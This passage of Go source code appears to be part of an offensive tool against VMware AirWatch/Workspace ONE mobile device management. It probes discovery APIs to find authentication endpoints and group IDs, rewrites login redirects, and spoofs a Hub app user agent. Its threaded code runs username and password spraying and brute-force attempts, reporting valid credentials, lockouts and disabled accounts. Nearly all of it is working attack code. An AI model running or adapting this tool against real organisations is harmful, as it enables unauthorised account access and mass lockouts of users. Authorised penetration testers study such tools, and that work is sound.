opts: o, 94 | logr: log, 95 | cycle: cycle{ 96 | api: &utils.API{ 97 | Debug: o.Debug, 98 | Log: log, 99 | Proxy: o.Proxy}, 100 | }, 101 | } 102 | } 103 | 104 | func (m *mdma) disco1() bool { 105 | m.cycle.api.Name = `domainLookupV1` 106 | m.cycle.api.URL = fmt.Sprintf(domainLookupV1, m.opts.Endpoint) 107 | m.cycle.api.Data = "" 108 | m.cycle.api.Method = `GET` 109 | m.cycle.api.Opts = &map[string]interface{}{ 110 | "Header": map[string][]string{ 111 | "User-Agent": []string{m.opts.Agent}}} 112 | 113 | m.cycle.api.WebCall() 114 | 115 | return m.cycle.api.Resp.Status == 200 116 | } 117 | 118 | func (m *mdma) disco2() bool { 119 | m.cycle.api.Name = `domainLookupV2` 120 | m.cycle.api.URL = fmt.Sprintf(domainLookupV2, m.opts.Endpoint) 121 | m.cycle.api.Data = "" 122 | m.cycle.api.Method = `GET` 123 | m.cycle.api.Opts = &map[string]interface{}{ 124 | "Header": map[string][]string{ 125 | "User-Agent": []string{m.opts.Agent}}} 126 | 127 | m.cycle.api.WebCall() 128 | 129 | return m.cycle.api.Resp.Status == 200 130 | } 131 | 132 | func (m *mdma) disco3() bool { 133 | m.cycle.api.Name = `gbdomainLookupV2` 134 | m.cycle.api.URL = fmt.Sprintf(gbdomainLookupV2, m.opts.Endpoint) 135 | m.cycle.api.Data = "" 136 | m.cycle.api.Method = `GET` 137 | m.cycle.api.Opts = &map[string]interface{}{ 138 | "Header": map[string][]string{ 139 | "User-Agent": []string{m.opts.Agent}}} 140 | 141 | m.cycle.api.WebCall() 142 | 143 | return m.cycle.api.Resp.Status == 200 144 | } 145 | 146 | func (m *mdma) disco4() bool { 147 | m.cycle.api.Name = `catalogPortal` 148 | m.cycle.api.URL = fmt.Sprintf(catalogPortal, m.samlURL) 149 | m.cycle.api.Data = "" 150 | m.cycle.api.Method = `GET` 151 | m.cycle.api.Opts = &map[string]interface{}{ 152 | "Header": map[string][]string{ 153 | "User-Agent": []string{m.opts.Agent}, 154 | "Content-Type": []string{"application/x-www-form-urlencoded"}, 155 | "Accept": []string{"gzip, deflate"}}} 156 | 157 | m.cycle.api.WebCall() 158 | 159 | return m.cycle.api.Resp.Status == 200 160 | } 161 | 162 | func (m *mdma) disco5() bool { 163 | m.cycle.api.Name = `emailDiscovery` 164 | m.cycle.api.URL = fmt.Sprintf(emailDiscovery, m.opts.Endpoint) 165 | m.cycle.api.Data = fmt.Sprintf(POSTemailDiscovery, m.opts.Email) 166 | m.cycle.api.Method = `POST` 167 | m.cycle.api.Opts = &map[string]interface{}{ 168 | "Header": map[string][]string{ 169 | "User-Agent": []string{m.opts.Agent}, 170 | "Content-Type": []string{"application/x-www-form-urlencoded"}, 171 | "Accept": []string{"gzip, deflate"}}} 172 | 173 | if m.opts.Debug > 0 { 174 | m.cycle.api.Opts = &map[string]interface{}{ 175 | "CheckRedirect": func(req *http.Request, via []*http.Request) error { 176 | if _, ok := req.URL.Query()["sid"]; ok { 177 | if len(req.URL.Query()["sid"]) < 1 { 178 | return fmt.Errorf("invalid SID length - emailDiscovery Failed") 179 | } 180 | if req.URL.Query()["sid"][0] == "00000000-0000-0000-0000-000000000000" { 181 | return fmt.Errorf("invalid SID - emailDiscovery Disabled") 182 | } 183 | } else { 184 | return fmt.Errorf("emailDiscovery Failed") 185 | } 186 | 187 | // Provide debugging for modified redirect calls within AirWatch authentication API 188 | m.logr.Debugf([]interface{}{"emailDiscovery"}, "Original Redirect: %s", req.URL) 189 | req.URL.Path = validateUserCredentials 190 | m.logr.Debugf([]interface{}{"emailDiscovery"}, "Modified Redirect: %s", req.URL) 191 | return nil 192 | }} 193 | } else { 194 | m.cycle.api.Opts = &map[string]interface{}{ 195 | "CheckRedirect": func(req *http.Request, via []*http.Request) error { 196 | if _, ok := req.URL.Query()["sid"]; ok { 197 | if len(req.URL.Query()["sid"]) < 1 { 198 | return fmt.Errorf("invalid SID length - emailDiscovery Failed") 199 | } 200 | if req.URL.Query()["sid"][0] == "00000000-0000-0000-0000-000000000000" { 201 | return fmt.Errorf("invalid SID - emailDiscovery Disabled") 202 | } 203 | } else { 204 | return nil 205 | } 206 | 207 | req.URL.Path = validateUserCredentials 208 | return nil 209 | }} 210 | } 211 | m.cycle.api.WebCall() 212 | 213 | return m.cycle.api.Resp.Status == 200 214 | } 215 | 216 | // clone() copies an *mdma for process threading 217 | func (m *mdma) clone() *mdma { 218 | clone := Init(m.opts) // assign target 219 | clone.cycle.block = m.cycle.block 220 | clone.cycle.buff = m.cycle.buff 221 | 222 | return clone 223 | } 224 | 225 | // Wrapper to parse JSON/XML objects 226 | func (m *mdma) parser(data interface{}, p string) bool { 227 | switch p { 228 | case "json": 229 | err := m.cycle.api.Resp.ParseJSON(data) 230 | if err != nil { 231 | m.logr.Errorf([]interface{}{m.opts.Method}, "Response Marshall Error: %v", err) 232 | return true 233 | } 234 | 235 | case "xml": 236 | err := m.cycle.api.Resp.ParseXML(data) 237 | if err != nil { 238 | m.logr.Errorf([]interface{}{m.opts.Method}, "Response Marshall Error: %v", err) 239 | return true 240 | } 241 | } 242 | 243 | return false 244 | } 245 | 246 | // disco representes the discovery process to locate and AirWatch 247 | // authentication endpoint and GroupID 248 | func (m *mdma) disco() { 249 | urls := []func() bool{ 250 | m.disco1, 251 | m.disco2, 252 | m.disco3, 253 | m.disco4, 254 | m.disco5, 255 | } 256 | 257 | for _, url := range urls { 258 | url() 259 | if m.cycle.api.Resp.Status == 200 { 260 | break 261 | } 262 | } 263 | 264 | m.validate() 265 | } 266 | 267 | // discoTenant leverages VMWare AirWatch's WorkspaceONE API 268 | // to pull GID details. 269 | func (m *mdma) discoTenant() { 270 | m.cycle.api.Name = `workspaceOneLookup` 271 | m.cycle.api.URL = fmt.Sprintf(workspaceoneLookup, m.tenantURL) 272 | m.cycle.api.Data = "" 273 | m.cycle.api.Method = `GET` 274 | m.cycle.api.Opts = &map[string]interface{}{ 275 | "Header": map[string][]string{ 276 | "User-Agent": []string{"awjade/9.5 (HubApp) (com.airwatch.vmworkspace; build: 23.01.1.1; Android: 11;nativenav)"}}} 277 | 278 | m.cycle.api.WebCall() 279 | 280 | if m.cycle.api.Resp.Status != 200 { 281 | m.logr.Failf([]interface{}{m.opts.Endpoint}, "WorkSpaceOne Lookup Failure") 282 | return 283 | } 284 | 285 | m.validate() 286 | } 287 | 288 | // prof represents the function call to validate the setup 289 | // of the AirWatch environment. Some request methods are executed 290 | // across two queries where details from the first request need to be 291 | // injected to the mdma object. 292 | func (m *mdma) prof() { 293 | m.cycle.api.Name = `validateGroupIdentifier` 294 | m.cycle.api.URL = fmt.Sprintf(validateGroupIdentifier, m.opts.Endpoint) 295 | m.cycle.api.Data = fmt.Sprintf(POSTvalidateGroupIdentifier, m.opts.UUID, m.opts.GroupID) 296 | m.cycle.api.Method = `POST` 297 | m.cycle.api.Opts = &map[string]interface{}{ 298 | "Header": map[string][]string{ 299 | "User-Agent": []string{m.opts.Agent}, 300 | "Content-Type": []string{"application/json"}}} 301 | 302 | m.cycle.api.WebCall() 303 | if m.cycle.api.Resp.Status != 200 { 304 | m.logr.Failf([]interface{}{m.opts.Endpoint}, "Profiling Failed") 305 | return 306 | } 307 | 308 | m.validate() 309 | } 310 | 311 | // auth represents the setup framework to build the 312 | // various authentication attack methods 313 | func (m *mdma) auth() { 314 | var file []byte 315 | var err error 316 | 317 | if m.opts.File != "" { 318 | file, err = utils.ReadFile(m.opts.File) 319 | if err != nil { 320 | m.logr.Fatalf([]interface{}{m.opts.File}, "File Read Failure") 321 | } 322 | } 323 | 324 | lines := strings.Split(string(file), "\n") 325 | block := make(chan bool, m.opts.Threads) 326 | buff := make(chan bool, len(lines)) 327 | m.cycle.block = &block 328 | m.cycle.buff = &buff 329 | m.cycle.length = len(lines) 330 | 331 | if m.opts.Method != "auth-box-lgid" { 332 | m.logr.Infof([]interface{}{m.opts.Method}, "threading %d values across %d threads", m.cycle.length, m.opts.Threads) 333 | } 334 | for _, line := range lines { 335 | if len(lines) > 1 && line == "" { 336 | *m.cycle.buff <- false 337 | continue 338 | } 339 | 340 | target := m.clone() 341 | 342 | switch m.opts.Method { 343 | case "enum-gid": 344 | if line != "" { 345 | target.opts.GroupID = line 346 | } 347 | target.cycle.api.Name = `authenticationEndpoint` 348 | target.cycle.api.URL = fmt.Sprintf(authenticationEndpoint, target.opts.Endpoint) 349 | target.cycle.api.Data = fmt.Sprintf(POSTauthenticationEndpointJSON, target.opts.GroupID, target.opts.UUID, target.opts.UserName, target.opts.Password) 350 | target.cycle.api.Method = `POST` 351 | target.cycle.api.Opts = &map[string]interface{}{ 352 | "Header": map[string][]string{ 353 | "User-Agent": []string{target.opts.Agent}, 354 | "Content-Type": []string{"application/json"}, 355 | "Accept": []string{"application/json; charset=utf-8"}}} 356 | 357 | case "auth-box-login": 358 | if line != "" { 359 | target.opts.UserName = line 360 | } 361 | target.cycle.api.Name = `authenticationEndpoint` 362 | target.cycle.api.URL = fmt.Sprintf(authenticationEndpoint, target.opts.Endpoint) 363 | target.cycle.api.Data = fmt.Sprintf(POSTauthenticationEndpointJSON, target.opts.GroupID, target.opts.UUID, target.opts.UserName, target.opts.Password) 364 | target.cycle.api.Method = `POST` 365 | target.cycle.api.Opts = &map[string]interface{}{ 366 | "Header": map[string][]string{ 367 | "User-Agent": []string{target.opts.Agent}, 368 | "Content-Type": []string{"application/json; charset=utf-8"}, 369 | "Accept": []string{"application/json; charset=utf-8"}}} 370 | 371 | case "auth-box-reg": 372 | if line != "" { 373 | target.opts.UserName = line 374 | } 375 | target.cycle.api.Name = `authenticationEndpoint` 376 | target.cycle.api.URL = fmt.Sprintf(authenticationEndpoint, target.opts.Endpoint) 377 | target.cycle.api.Data = fmt.Sprintf(POSTauthenticationEndpointXML, target.opts.UserName, target.opts.Password, target.opts.GroupID, target.opts.UUID) 378 | target.cycle.api.Method = `POST` 379 | target.cycle.api.Opts = &map[string]interface{}{ 380 | "Header": map[string][]string{ 381 | "User-Agent": []string{target.opts.Agent}, 382 | "Content-Type": []string{"application/json"}}} 383 | 384 | case "auth-val": 385 | target.prof() // capture SID 386 | if line != "" { 387 | target.opts.UserName = line 388 | } 389 | 390 | target.cycle.api.Name = `validateLoginCredentials` 391 | target.cycle.api.URL = fmt.Sprintf(validateLoginCredentials, target.opts.Endpoint) 392 | target.cycle.api.Data = fmt.Sprintf(POSTvalidateLoginCredentials, target.opts.UserName, target.opts.Password, target.sid, target.opts.UUID) 393 | target.cycle.api.Method = `POST` 394 | target.cycle.api.Opts = &map[string]interface{}{ 395 | "Header": map[string][]string{ 396 | "User-Agent": []string{target.opts.Agent}, 397 | "Content-Type": []string{"UTF-8"}, 398 | "Accept": []string{"application/json"}}} 399 | 400 | case "auth-box-lgid": 401 | target.prof() // capture SubGroups 402 | if line != "" { 403 | target.opts.UserName = line 404 | } 405 | m.logr.Infof(nil, "threading %d values across %d threads", len(lines)*len(target.groups), target.opts.Threads) 406 | 407 | for key, val := range target.groups { 408 | target.opts.SubGroup = key 409 | target.opts.SubGroupINT = val 410 | 411 | target.cycle.api.Name = `authenticationEndpoint` 412 | target.cycle.api.URL = fmt.Sprintf(authenticationEndpoint, target.opts.Endpoint) 413 | target.cycle.api.Data = fmt.Sprintf(POSTauthenticationEndpointJSON, target.opts.SubGroup, target.opts.UUID, target.opts.UserName, target.opts.Password) 414 | target.cycle.api.Method = `POST` 415 | target.cycle.api.Opts = &map[string]interface{}{ 416 | "Header": map[string][]string{ 417 | "User-Agent": []string{target.opts.Agent}, 418 | "Content-Type": []string{"application/json; charset=utf-8"}, 419 | "Accept": []string{"application/json; charset=utf-8"}}} 420 | 421 | target.thread() 422 | } 423 | continue 424 | } 425 | 426 | target.thread() 427 | } 428 | 429 | for i := 0; i < m.cycle.length; i++ { 430 | <-*m.cycle.buff 431 | } 432 | close(*m.cycle.block) 433 | close(*m.cycle.buff) 434 | 435 | } 436 | 437 | // thread represents the threading process to loop multiple requests 438 | func (m *mdma) thread() { 439 | *m.cycle.block <- true 440 | go func() { 441 | m.api.WebCall() 442 | if m.api.Resp.Status == 0 { 443 | if m.opts.Miss < m.opts.Retry { 444 | m.opts.Miss++ 445 | m.logr.Infof([]interface{}{m.opts.GroupID, m.opts.UserName, m.opts.Password}, "Retrying Request") 446 | <-*m.cycle.block 447 | m.thread() 448 | return 449 | } 450 | m.logr.Errorf([]interface{}{m.opts.GroupID, m.opts.UserName, m.opts.Password}, "Null Response") 451 | } 452 | m.validate() 453 | 454 | // Sleep interval through thread loop 455 | time.Sleep(time.Duration(m.opts.Sleep) * time.Second) 456 | 457 | <-*m.cycle.block 458 | *m.cycle.buff <- false 459 | }() 460 | } 461 | 462 | func (m *mdma) validate() { 463 | switch m.opts.Method { 464 | case "disco", "discoTenant": 465 | var check struct { 466 | EnrollURL string `json:"EnrollmentUrl"` 467 | GroupID string `json:"GroupId"` 468 | TenantGroup string `json:"TenantGroup"` 469 | GreenboxURL string `json:"GreenboxUrl"` 470 | MDM struct { 471 | ServiceURL string `json:"deviceServicesUrl"` 472 | APIURL string `json:"apiServerUrl"` 473 | GroupID string `json:"organizationGroupId"` 474 | } `json:"mdm"` 475 | Status int `json:"Status"` 476 | Message string `json:"Message"` 477 | } 478 | 479 | if m.parser(&check, "json") { 480 | return 481 | } 482 | 483 | if check.EnrollURL != "" { 484 | endp, _ := URL.Parse(check.EnrollURL) 485 | m.logr.Successf([]interface{}{endp.Hostname()}, "Endpoint Discovery") 486 | } else if check.GreenboxURL != "" { 487 | endp, _ := URL.Parse(check.GreenboxURL) 488 | m.samlURL = endp.Hostname() 489 | m.logr.Successf([]interface{}{endp.Hostname()}, "SAML Endpoint Discovery") 490 | } else if check.MDM.ServiceURL != "" { 491 | endp, _ := URL.Parse(check.MDM.ServiceURL) 492 | m.logr.Successf([]interface{}{endp.Hostname()}, "Endpoint Discovery") 493 | } 494 | 495 | if check.GroupID != "" { 496 | m.logr.Successf([]interface{}{check.GroupID}, "GroupID Discovery") 497 | } else if check.TenantGroup != "" { 498 | m.logr.Successf([]interface{}{check.TenantGroup}, "Tenant Discovery") 499 | if strings.Contains(check.GreenboxURL, "workspaceoneaccess") { 500 | m.tenantURL = check.GreenboxURL 501 | m.discoTenant() 502 | } 503 | } else if check.MDM.GroupID != "" { 504 | m.logr.Successf([]interface{}{check.MDM.GroupID}, "Org GroupID Discovery") 505 | } 506 | 507 | if check.Status == 9 { 508 | m.logr.Failf([]interface{}{m.opts.Endpoint}, "Discovery Failed: %s", check.Message) 509 | } 510 | 511 | case "prof": 512 | var check struct { 513 | Next struct { 514 | Type int `json:"Type"` 515 | } `json:"NextStep"` 516 | } 517 | if m.parser(&check, "json") { 518 | return 519 | } 520 | 521 | switch check.Next.Type { 522 | case 1: 523 | m.logr.Failf([]interface{}{check.Next.Type}, "Registration Disabled") 524 | case 2: 525 | m.logr.Successf([]interface{}{check.Next.Type}, "AirWatch Single-Factor Registration") 526 | case 4: 527 | m.logr.Successf([]interface{}{check.Next.Type}, "Single-Factor Registration") 528 | case 8: 529 | m.logr.Successf([]interface{}{check.Next.Type}, "Token Registration") 530 | case 18: 531 | m.logr.Successf([]interface{}{check.Next.Type}, "SAML Registration") 532 | default: 533 | m.logr.Errorf([]interface{}{check.Next.Type}, "Unknown Registration") 534 | 535 | } 536 | 537 | case "auth-val": 538 | var check struct { 539 | Status struct { 540 | Code int `json:"Code"` 541 | Notification string `json:"Notification"` 542 | } `json:"Status"` 543 | } 544 | if m.parser(&check, "json") { 545 | return 546 | } 547 | 548 | switch check.Status.Code { 549 | case 1: 550 | m.logr.Successf([]interface{}{m.opts.UserName, m.opts.Password}, "Authentication Successful: %s", check.Status.Notification) 551 | case 2, 0: 552 | m.logr.Failf([]interface{}{m.opts.UserName, m.opts.Password}, "Authentication Failure: %s", check.Status.Notification) 553 | default: 554 | m.logr.Errorf([]interface{}{m.opts.UserName, m.opts.Password}, "Unknown Response: %s", check.Status.Notification) 555 | } 556 | 557 | case "enum-gid", "auth-box-reg", "auth-box-login": 558 | if m.cycle.api.Resp.Status != 200 { 559 | m.logr.Failf([]interface{}{m.opts.UserName, m.opts.Password, m.cycle.api.Resp.Status}, "Invalid response code") 560 | return 561 | } 562 | var check struct { 563 | StatusCode string `json:"StatusCode"` 564 | } 565 | if m.parser(&check, "json") { 566 | return 567 | } 568 | 569 | switch check.StatusCode { 570 | case "AUTH--1": 571 | m.logr.Failf([]interface{}{m.opts.UserName, m.opts.Password, check.StatusCode}, "Invalid GroupID/Username") 572 | case "AUTH-1001": 573 | m.logr.Failf([]interface{}{m.opts.UserName, m.opts.Password, check.StatusCode}, "Authentication Failure") 574 | case "AUTH-1002": 575 | m.logr.Failf([]interface{}{m.opts.UserName, m.opts.Password, check.StatusCode}, "Account Lockout") 576 | case "AUTH-1003": 577 | m.logr.Failf([]interface{}{m.opts.UserName, m.opts.Password, check.StatusCode}, "Account Disabled") 578 | case "AUTH-1006": 579 | m.logr.Successf([]interface{}{m.opts.UserName, m.opts.Password, check.StatusCode}, "Authentication Successful") 580 | 581 | default: 582 | m.logr.Errorf([]interface{}{m.opts.UserName, m.opts.Password, check.StatusCode}, "Unknown Response") 583 | } 584 | 585 | } 586 | } 587 | 588 | // Call represents the switch function for activating all class methods 589 | func (m *mdma) Call() { 590 | if m.opts.Endpoint == "" { 591 | m.logr.Errorf(nil, "FQDN or Authentication endpoint required") 592 | return 593 | } 594 | switch m.opts.Method { 595 | case "disco": 596 | if m.opts.Email == "" { 597 | email := "dave@" + m.opts.Endpoint 598 | m.logr.Infof([]interface{}{m.opts.Method}, "Using sample email: %s", email) 599 | m.opts.Email = email 600 | } 601 | m.disco() 602 | case "prof": 603 | if m.opts.GroupID == "" && (m.opts.SubGroup == "" || m.opts.SubGroupINT == 0) { 604 | m.logr.Errorf([]interface{}{m.opts.Method}, "GroupID/SubGroup and/or SubGroupINT required") 605 | return 606 | } 607 | m.prof() 608 | case "auth-box-reg", "auth-box-login": 609 | if m.opts.Email == "" && m.opts.File == "" { 610 | m.logr.Errorf([]interface{}{m.opts.Method}, "Email/Password or File/Password required") 611 | return 612 | } 613 | m.opts.UserName = m.opts.Email 614 | m.auth() 615 | 616 | case "enum-gid", "auth-box-lgid", "auth-val": 617 | if m.opts.UserName == "" && m.opts.File == "" { 618 | m.logr.Errorf([]interface{}{m.opts.Method}, "Username/Password or File/Password required") 619 | return 620 | } 621 | m.auth() 622 | 623 | default: 624 | m.logr.StdOut(Methods) 625 | m.logr.Fatalf(nil, "Invalid Method Selected %v", m.opts.Method) 626 | } 627 | } 628 | --------------------------------------------------------------------------------